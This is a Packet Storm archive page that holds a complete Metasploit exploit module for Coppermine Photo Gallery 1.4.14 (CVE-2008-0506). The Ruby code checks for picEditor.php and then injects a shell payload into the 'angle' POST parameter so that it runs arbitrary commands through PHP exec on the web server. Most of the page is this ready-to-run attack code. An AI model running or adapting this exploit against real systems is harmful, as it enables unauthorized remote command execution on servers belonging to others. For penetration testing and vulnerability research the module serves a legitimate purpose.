we care because you do

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution
Posted Feb 20, 2010
Authored by Janek Vind aka waraxe | Site metasploit.com

This Metasploit module exploits a vulnerability in the picEditor.php script of Coppermine Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle', and 'clipval' parameters are not properly escaped before being passed. NOTE: Use of the ImageMagick library is a non-default option. However, a user can specify its use at installation time.

tags | exploit, php
advisories | CVE-2008-0506
MD5 | 348630ab822d73fca3d6902525794666

Coppermine Photo Gallery 1.4.14 picEditor.php Command Execution

Change Mirror Download
##
# $Id: coppermine_piceditor.rb 8562 2010-02-19 07:31:12Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution',
'Description' => %q{
This module exploits a vulnerability in the picEditor.php script of Coppermine
Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle',
and 'clipval' parameters are not properly escaped before being passed to the PHP
'exec' command.

In order to reach the vulnerable 'exec' call, the input must pass several validation
steps.

The vulnerabilities actually reside in the following functions:

image_processor.php: rotate_image(...)
include/imageObjectIM.class.php: imageObject::cropImage(...)
include/imageObjectIM.class.php: imageObject::rotateImage(...)
include/imageObjectIM.class.php: imageObject::resizeImage(...)
include/picmgmt.inc.php: resize_image(...)

NOTE: Use of the ImageMagick library is a non-default option. However, a user can
specify its use at installation time.
},
'Author' =>
[
'Janek Vind', # original discovery/exploit
'jduck' # metasploit version
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8562 $',
'References' =>
[
[ 'CVE', '2008-0506' ],
[ 'OSVDB', '41676' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5019' ],
[ 'URL', 'http://forum.coppermine-gallery.net/index.php?topic=50103.0' ]
],
'Privileged' => true, # web server context
'Payload' =>
{
'DisableNops' => true,
'BadChars' => '\'', # input gets passed to htmlentities
'Space' => 1024,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 30 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [ true, "Coppermine directory path", "/cpg1414" ]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + '/picEditor.php'
}, 25)

if (res and res.body =~ /Coppermine Picture Editor/i)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def exploit

valid_imgs = %w{thumb_audio.jpg thumb_avi.jpg thumb_doc.jpg thumb_document.jpg thumb_gz.jpg
thumb_htm.jpg thumb_html.jpg thumb_mid.jpg thumb_midi.jpg thumb_mov.jpg thumb_movie.jpg
thumb_mp3.jpg thumb_mpeg.jpg thumb_mpg.jpg thumb_nopic.jpg thumb_ogg.jpg thumb_pdf.jpg
thumb_private.jpg thumb_qtv.jpg thumb_ra.jpg thumb_ram.jpg thumb_rar.jpg thumb_rm.jpg
thumb_rmj.jpg thumb_swf.jpg thumb_txt.jpg thumb_wav.jpg thumb_wma.jpg thumb_wmv.jpg
thumb_xls.jpg thumb_zip.jpg}
img = '../../images/' + valid_imgs[rand(valid_imgs.length)]
# suppress errors from convert
angle = rand_text_numeric(1+rand(8)) + ' -quiet 1 2'
# and exec our cmd :)
angle += ';' + payload.encoded + ';#'

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'] + "/picEditor.php",
'vars_post' =>
{
'angle' => angle,
'quality' => '50', # not required, but fixes an error message
'newimage' => img
}
}, 25)

if (res and res.code == 200)
print_status("Successfully POST'd exploit data")
else
raise RuntimeError, "Error POSTing exploit data"
end

handler
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close